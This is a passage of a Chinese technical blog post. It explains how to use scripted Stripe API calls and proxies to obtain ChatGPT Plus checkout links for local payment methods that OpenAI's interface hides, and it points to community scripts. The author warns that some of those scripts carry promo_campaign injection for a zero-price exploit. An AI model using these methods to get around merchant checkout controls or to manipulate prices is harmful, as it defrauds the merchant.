 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;iDEAL&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;ideal&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;NL&lt;/td&gt;
 &lt;td&gt;EUR&lt;/td&gt;
 &lt;td&gt;✗&lt;/td&gt;
 &lt;td&gt;银行选择页&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;UPI&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;upi&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;IN&lt;/td&gt;
 &lt;td&gt;INR&lt;/td&gt;
 &lt;td&gt;✗&lt;/td&gt;
 &lt;td&gt;VPA 输入页&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;PIX&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;pix&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;BR&lt;/td&gt;
 &lt;td&gt;BRL&lt;/td&gt;
 &lt;td&gt;✗&lt;/td&gt;
 &lt;td&gt;二维码页&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;TWINT&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;twint&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;CH&lt;/td&gt;
 &lt;td&gt;CHF&lt;/td&gt;
 &lt;td&gt;✗&lt;/td&gt;
 &lt;td&gt;App 跳转&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Kakao Pay&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;kakao_pay&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;KR&lt;/td&gt;
 &lt;td&gt;KRW&lt;/td&gt;
 &lt;td&gt;✓&lt;/td&gt;
 &lt;td&gt;Kakao 确认页&lt;/td&gt;
 &lt;td&gt;需要 pre_confirm 调用&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;BLIK&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;blik&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;PL&lt;/td&gt;
 &lt;td&gt;PLN&lt;/td&gt;
 &lt;td&gt;✗&lt;/td&gt;
 &lt;td&gt;6位码输入&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;MoMo&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;momo&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;VN&lt;/td&gt;
 &lt;td&gt;VND&lt;/td&gt;
 &lt;td&gt;✓&lt;/td&gt;
 &lt;td&gt;MoMo App&lt;/td&gt;
 &lt;td&gt;需要 pre_confirm 调用&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;GCash&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;gcash&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;PH&lt;/td&gt;
 &lt;td&gt;PHP&lt;/td&gt;
 &lt;td&gt;✗&lt;/td&gt;
 &lt;td&gt;GCash 确认页&lt;/td&gt;
 &lt;td&gt;无&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;大多数支付方式流程一致：创建 PM → Confirm → 提取 redirect URL。但 Kakao Pay 和 MoMo 需要额外的 &lt;code&gt;pre_confirm&lt;/code&gt; 调用——如果跳过这一步，Confirm 会返回 &lt;code&gt;incomplete&lt;/code&gt; 状态，没有 redirect URL。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pre_confirm&lt;/code&gt; 的请求格式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-http" data-lang="http"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;POST https://api.stripe.com/v1/payment_pages/{oaics_xxx}/pre_confirm
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;Content-Type: application/x-www-form-urlencoded
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;expected_payment_method_type=kakao_pay
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;看起来简单，但如果你不知道有这一步，Kakao Pay 的提链就会卡在最后一步——所有参数都对了，就是拿不到链接。这类细节只有通过 HAR 抓包 Stripe 的完整结账流程才能发现。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="五从-0-php-到提链漏洞与工具的边界"&gt;五、从 0 PHP 到提链——漏洞与工具的边界
&lt;/h2&gt;&lt;p&gt;上一篇文章分析了 &lt;a class="link" href="https://blog.7qiang.com/posts/chatgpt-plus-0php-cross-region-pricing-exploit-2026/" target="_blank" rel="noopener"
 &gt;0 PHP 攻击&lt;/a&gt;，里面提到第三方工具在创建 Checkout Session 时可能注入了零元参数（如 &lt;code&gt;promo_campaign&lt;/code&gt;）。那么问题来了：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;提链工具和那个&amp;quot;CDK 提炼&amp;quot;工具是一回事吗？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不是。区别在于：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;/th&gt;
 &lt;th&gt;0 PHP “提炼&amp;quot;工具&lt;/th&gt;
 &lt;th&gt;正常提链工具&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;目的&lt;/td&gt;
 &lt;td&gt;白嫖（amount = 0）&lt;/td&gt;
 &lt;td&gt;正常付款&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;是否注入优惠码&lt;/td&gt;
 &lt;td&gt;是（&lt;code&gt;promo_campaign&lt;/code&gt;、&lt;code&gt;discount&lt;/code&gt; 等）&lt;/td&gt;
 &lt;td&gt;否&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;金额来源&lt;/td&gt;
 &lt;td&gt;工具操纵&lt;/td&gt;
 &lt;td&gt;Stripe 价格表&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;合法性&lt;/td&gt;
 &lt;td&gt;灰色/违法&lt;/td&gt;
 &lt;td&gt;正常商业行为&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;正常的提链工具&lt;strong&gt;不注入任何优惠参数&lt;/strong&gt;。它只是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用你的 AT 创建一个以目标国家/货币计价的 Checkout Session&lt;/li&gt;
&lt;li&gt;走完 Stripe 的协议流程&lt;/li&gt;
&lt;li&gt;把 redirect URL 返回给你&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;你付的是 Stripe 价格表上对应区域的标准价格——荷兰 €20/月，印度 ₹1,950/月，巴西 R$99.90/月。没有优惠码，没有金额篡改。&lt;/p&gt;
&lt;p&gt;正常的提链工具的设计原则应该是：&lt;strong&gt;不注入 &lt;code&gt;promo_campaign&lt;/code&gt;，不传 &lt;code&gt;discount&lt;/code&gt;，不覆盖 &lt;code&gt;amount&lt;/code&gt;。&lt;/strong&gt; 工具只做一件事——把 Stripe 的本地支付能力释放出来，让没有信用卡的用户也能正常订阅。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="六协议细节那些让你卡住的坑"&gt;六、协议细节——那些让你卡住的坑
&lt;/h2&gt;&lt;p&gt;如果你自己尝试过写提链脚本，你一定踩过这些坑。&lt;/p&gt;
&lt;h3 id="坑-1ip-一致性"&gt;坑 1：IP 一致性
&lt;/h3&gt;&lt;p&gt;Stripe Checkout Session 在创建和确认时需要使用同一个 IP。如果你用代理 A 创建了 Checkout Session，又用代理 B 去 Confirm——Stripe 会返回 &lt;code&gt;invalid_request_error&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这不是 Stripe 的 bug，是安全机制。Stripe 检测到 session 的创建 IP 和确认 IP 不一致，会认为可能是中间人攻击。&lt;/p&gt;
&lt;p&gt;解决方案：&lt;strong&gt;整个 12 步流程使用同一个 HTTP client（或 cookie jar），确保所有请求走同一个出口 IP。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="坑-2expected_amount"&gt;坑 2：&lt;code&gt;expected_amount&lt;/code&gt;
&lt;/h3&gt;&lt;p&gt;Stripe 的 Confirm 请求需要传 &lt;code&gt;expected_amount&lt;/code&gt; 参数，值必须和 Checkout Session 的金额一致。这个值从哪来？&lt;/p&gt;
&lt;p&gt;最准确的来源是第 4 步 &lt;code&gt;Update Taxes&lt;/code&gt; 的响应。这一步把账单地址传给 OpenAI，OpenAI 计算含税金额后写入 Checkout Session，然后返回一个 snapshot，里面有 &lt;code&gt;amount_total&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;snapshot&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;amount_total&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;currency&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;eur&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果你用 Init 步骤的金额去 Confirm，可能会因为税后金额不一致而失败。&lt;/p&gt;
&lt;h3 id="坑-3stripe-session-state"&gt;坑 3：Stripe Session State
&lt;/h3&gt;&lt;p&gt;Stripe 的 Checkout Session 维护了一个内部状态。每次 API 调用后，响应里都会更新 &lt;code&gt;eid&lt;/code&gt;、&lt;code&gt;mrid&lt;/code&gt; 等字段。下一次调用必须带上最新的状态值。&lt;/p&gt;
&lt;p&gt;这意味着你不能简单地并行调用 12 步——必须严格按顺序执行，每一步用上一步返回的最新状态。&lt;/p&gt;
&lt;h3 id="坑-4accept-language-和-guid"&gt;坑 4：&lt;code&gt;Accept-Language&lt;/code&gt; 和 &lt;code&gt;guid&lt;/code&gt;
&lt;/h3&gt;&lt;p&gt;这两个是容易忽略的细节：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Stripe API 会根据 &lt;code&gt;Accept-Language&lt;/code&gt; 请求头返回不同的 &lt;code&gt;locale&lt;/code&gt; 配置。如果你不传，默认是 &lt;code&gt;en-US&lt;/code&gt;，但某些支付方式在特定 locale 下行为不同。&lt;/li&gt;
&lt;li&gt;Stripe 的某些内部 API 需要一个 &lt;code&gt;guid&lt;/code&gt; 参数，格式是 &lt;code&gt;xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx&lt;/code&gt;（UUID v4）。不是随便写的——格式不对会被拒绝。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="坑-5超时"&gt;坑 5：超时
&lt;/h3&gt;&lt;p&gt;整个流程从创建 Checkout Session 到拿到 redirect URL，通常需要 10~30 秒。某些支付方式（如 Kakao Pay）可能需要更长时间，因为 Stripe 需要和第三方支付系统交互。&lt;/p&gt;
&lt;p&gt;如果 Confirm 之后没有立刻返回 redirect URL，需要轮询 Init 接口。URL 可能在 Confirm 后几秒到几十秒内才出现。我们的工具最多等 90 秒——超过这个时间通常意味着哪里出了问题。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="七开源提链脚本"&gt;七、开源提链脚本
&lt;/h2&gt;&lt;p&gt;说了这么多原理，给一些现成的实现参考。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;⚠️ 时效性声明&lt;/strong&gt;：以下脚本收集于 2026 年 7 月。OpenAI/Stripe 的 API 接口、Stripe runtime 版本、风控策略随时可能变更，脚本&lt;strong&gt;可能已不可用&lt;/strong&gt;。仅供学习协议流程和理解技术原理，不保证当前可运行。使用前请自行验证。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="多支付方式提链套件"&gt;多支付方式提链套件
&lt;/h3&gt;&lt;p&gt;来源：社区开源的 &lt;code&gt;ideal-link-extractor&lt;/code&gt;，MIT License。&lt;/p&gt;
&lt;p&gt;包含 6 种支付方式的独立提取脚本：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;脚本&lt;/th&gt;
 &lt;th&gt;支付方式&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;ideal_qr_extract.py&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;iDEAL（荷兰）&lt;/td&gt;
 &lt;td&gt;核心脚本（3263 行），其他脚本的参考实现&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;upi/upi_extract.py&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;UPI（印度）&lt;/td&gt;
 &lt;td&gt;含多代理轮转、并行模式&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;pix/pix_extract.py&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;PIX（巴西）&lt;/td&gt;
 &lt;td&gt;二维码提取&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;twint/twint_extract.py&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;TWINT（瑞士）&lt;/td&gt;
 &lt;td&gt;App 跳转链接&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;kakao/kakao_extract.py&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;Kakao Pay（韩国）&lt;/td&gt;
 &lt;td&gt;含 pre_confirm 处理&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;blik/blik_qr_extract.py&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;BLIK（波兰）&lt;/td&gt;
 &lt;td&gt;6 位码输入链接&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;detect_payment_methods.py&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;通用&lt;/td&gt;
 &lt;td&gt;按国家检测可用的 Stripe 支付方式&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;依赖：&lt;code&gt;requests&lt;/code&gt;、&lt;code&gt;curl_cffi&lt;/code&gt;、&lt;code&gt;qrcode[pil]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;基本用法（以 UPI 为例）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip install requests curl_cffi
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;UPI_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;eyJhbGciOi...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;UPI_PROXY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;socks5://user:pass@host:port&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 自备代理&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python upi_extract.py
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;每个脚本通过环境变量配置代理（&lt;code&gt;XXX_PROXY&lt;/code&gt;）和 Token（&lt;code&gt;XXX_TOKEN&lt;/code&gt; 或 &lt;code&gt;token.txt&lt;/code&gt; 文件）。代理需自备——脚本不内置任何代理。&lt;/p&gt;
&lt;h3 id="momo-提取脚本越南"&gt;MoMo 提取脚本（越南）
&lt;/h3&gt;&lt;p&gt;独立维护的 MoMo/Kakao 脚本集，包含：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kakao_extract.py&lt;/code&gt;——共享的会话管理和 Stripe 协议辅助函数&lt;/li&gt;
&lt;li&gt;&lt;code&gt;momo_channel_probe.py&lt;/code&gt;——只读模式探测 MoMo 通道可用性&lt;/li&gt;
&lt;li&gt;&lt;code&gt;momo_probe.py&lt;/code&gt;——默认只读，设置 &lt;code&gt;MOMO_EXTRACT_REDIRECT=1&lt;/code&gt; 才尝试提取&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;依赖额外的 Playwright（需要 Chromium）。&lt;/p&gt;
&lt;h3 id="脚本的核心设计"&gt;脚本的核心设计
&lt;/h3&gt;&lt;p&gt;这些脚本的技术亮点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;代理状态持久化&lt;/strong&gt;——&lt;code&gt;proxy_state.json&lt;/code&gt; 记录每个代理的健康状态、成功/失败计数、冷却时间&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;日志脱敏&lt;/strong&gt;——自动将代理地址、Token 等敏感信息替换为安全标签&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多 Worker 并行&lt;/strong&gt;——支持多线程并发提取，自动分配代理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stripe 协议完整实现&lt;/strong&gt;——Session state 管理、&lt;code&gt;eid&lt;/code&gt;/&lt;code&gt;mrid&lt;/code&gt; 追踪、tax region 更新，完整复刻浏览器行为&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：部分脚本包含 &lt;code&gt;promo_campaign&lt;/code&gt; 注入逻辑和 &lt;code&gt;REQUIRE_ZERO&lt;/code&gt; 选项（用于上一篇文章分析的 0 PHP 攻击路径）。这些属于漏洞利用代码，&lt;strong&gt;不建议使用&lt;/strong&gt;——OpenAI 大概率已做修复，强行使用可能导致账号风控。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="八为什么-openai-不直接提供这些支付方式"&gt;八、为什么 OpenAI 不直接提供这些支付方式？
&lt;/h2&gt;&lt;p&gt;好问题。Stripe 支持它们，OpenAI 用的是 Stripe，为什么不在结账页面上显示？&lt;/p&gt;
&lt;p&gt;几个可能的原因：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;合规成本&lt;/strong&gt;：每个国家的本地支付方式有不同的合规要求（反洗钱、实名验证等）。支持 iDEAL 意味着要满足荷兰的金融监管要求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;退款风险&lt;/strong&gt;：某些本地支付方式的退款/dispute 流程和信用卡不同。PIX 的退款机制、UPI 的 chargeback 流程，都需要额外的运营投入。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;税务复杂度&lt;/strong&gt;：不同国家的增值税率不同，账单格式要求不同。OpenAI 需要为每个国家维护正确的税务处理。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优先级&lt;/strong&gt;：信用卡覆盖了 OpenAI 的核心市场（北美、欧洲）。本地支付方式对应的市场（东南亚、拉美、南亚）目前可能不是优先级。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但 Stripe 的能力已经在那里了。&lt;code&gt;payment_method_types&lt;/code&gt; 里已经包含了这些方式。OpenAI 只需要在前端把选项打开。在此之前——提链工具就是桥梁。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="九和-0-php-漏洞的关系一张图说清"&gt;九、和 0 PHP 漏洞的关系——一张图说清
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌───────────────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ 正常提链工具 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ country=NL, currency=EUR │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ NO promo_campaign │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ → amount = €20 (Stripe 价格表) │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ → redirect URL → iDEAL 付款 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └───────────┬───────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 同一个 API │ 同一个 API
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌───────────▼───────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ OpenAI /payments/checkout API │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ + Stripe Checkout Session │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └───────────┬───────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ┌───────────▼───────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ 0 PHP 攻击工具 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ country=PH, currency=PHP │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ + promo_campaign injection │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ + cross-region confusion │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ → amount = ₱0 (被操纵) │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ → PH BIN 卡完成支付 │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └───────────────────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;同一个 API，两种用法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;提链&lt;/strong&gt;：合法利用 Stripe 的本地支付能力，正常价格&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;0 PHP&lt;/strong&gt;：利用跨区信号碎片化 + 参数注入，把价格打到零&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;提链不是漏洞利用。它只是 Stripe 本来就有的能力，被 OpenAI 前端隐藏了而已。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="十写在最后"&gt;十、写在最后
&lt;/h2&gt;&lt;p&gt;提链的本质是一个简单的事实：&lt;strong&gt;Stripe 是一个全球支付平台，它天然支持几十种本地支付方式。OpenAI 的 UI 做了限制，但 API 没有。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从技术角度看，12 步协议流程的每一步都有其必要性——IP 一致性、状态管理、税务更新、pre_confirm。跳过任何一步都会导致最终拿不到 redirect URL。这也是为什么&amp;quot;提链&amp;quot;不是简单地抓个包就能搞定的——你需要理解 Stripe 的完整 Checkout 流程。&lt;/p&gt;
&lt;p&gt;从商业角度看，提链让全球用户有了一种不依赖信用卡的方式来使用 ChatGPT。在信用卡渗透率不到 10% 的印度，UPI 是 8 亿人的默认支付方式。提链本身不是什么灰色操作——它只是把 Stripe 的能力释放给了真正需要的人。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;最后的最后&lt;/strong&gt;：本文提到的所有脚本和协议细节都有时效性。OpenAI 和 Stripe 的接口在持续变化——Stripe runtime version 会更新，API 字段会调整，风控规则会收紧。今天能跑的脚本，明天可能就 403 了。理解原理比收藏脚本更重要。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="附录直卡绑定另一条路"&gt;附录：直卡绑定——另一条路
&lt;/h2&gt;&lt;p&gt;除了提链，还有一种完全不同的思路：&lt;strong&gt;直接给 ChatGPT 账号绑一张卡，然后正常走 checkout。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就是&amp;quot;直卡焚决&amp;quot;方法的核心。它不绕过前端、不走第三方支付——它解决的是&amp;quot;没有美区信用卡&amp;quot;这个前置问题。&lt;/p&gt;
&lt;h3 id="原理"&gt;原理
&lt;/h3&gt;&lt;p&gt;OpenAI 的 &lt;code&gt;/backend-api/payments/payment_method&lt;/code&gt; 接口支持创建 Stripe &lt;code&gt;SetupIntent&lt;/code&gt;——这是 Stripe 的&amp;quot;先绑卡不扣款&amp;quot;机制。绑上之后，下次走 checkout 时就有卡可用了。&lt;/p&gt;
&lt;p&gt;配套的控制台脚本（在 chatgpt.com 的 Console 里运行）做了这几件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;自动发现 Stripe 公钥&lt;/strong&gt;——OpenAI 有两个 Stripe 商户分片（&lt;code&gt;KslHRdbaPg&lt;/code&gt; 和 &lt;code&gt;C6h1nxGoI3&lt;/code&gt;），脚本通过 &lt;code&gt;retrieveSetupIntent&lt;/code&gt; 自动匹配当前账号属于哪个分片&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;创建 SetupIntent&lt;/strong&gt;——调用 OpenAI 的 &lt;code&gt;payment_method&lt;/code&gt; API，拿到 &lt;code&gt;client_secret&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;渲染 Stripe Card Element&lt;/strong&gt;——在页面上弹出一个模态框，内嵌 Stripe 的标准卡输入组件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;确认绑定&lt;/strong&gt;——&lt;code&gt;stripe.confirmCardSetup&lt;/code&gt; + &lt;code&gt;set_as_default_payment_method: true&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 关键调用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;confirmCardSetup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;clientSecret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;payment_method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
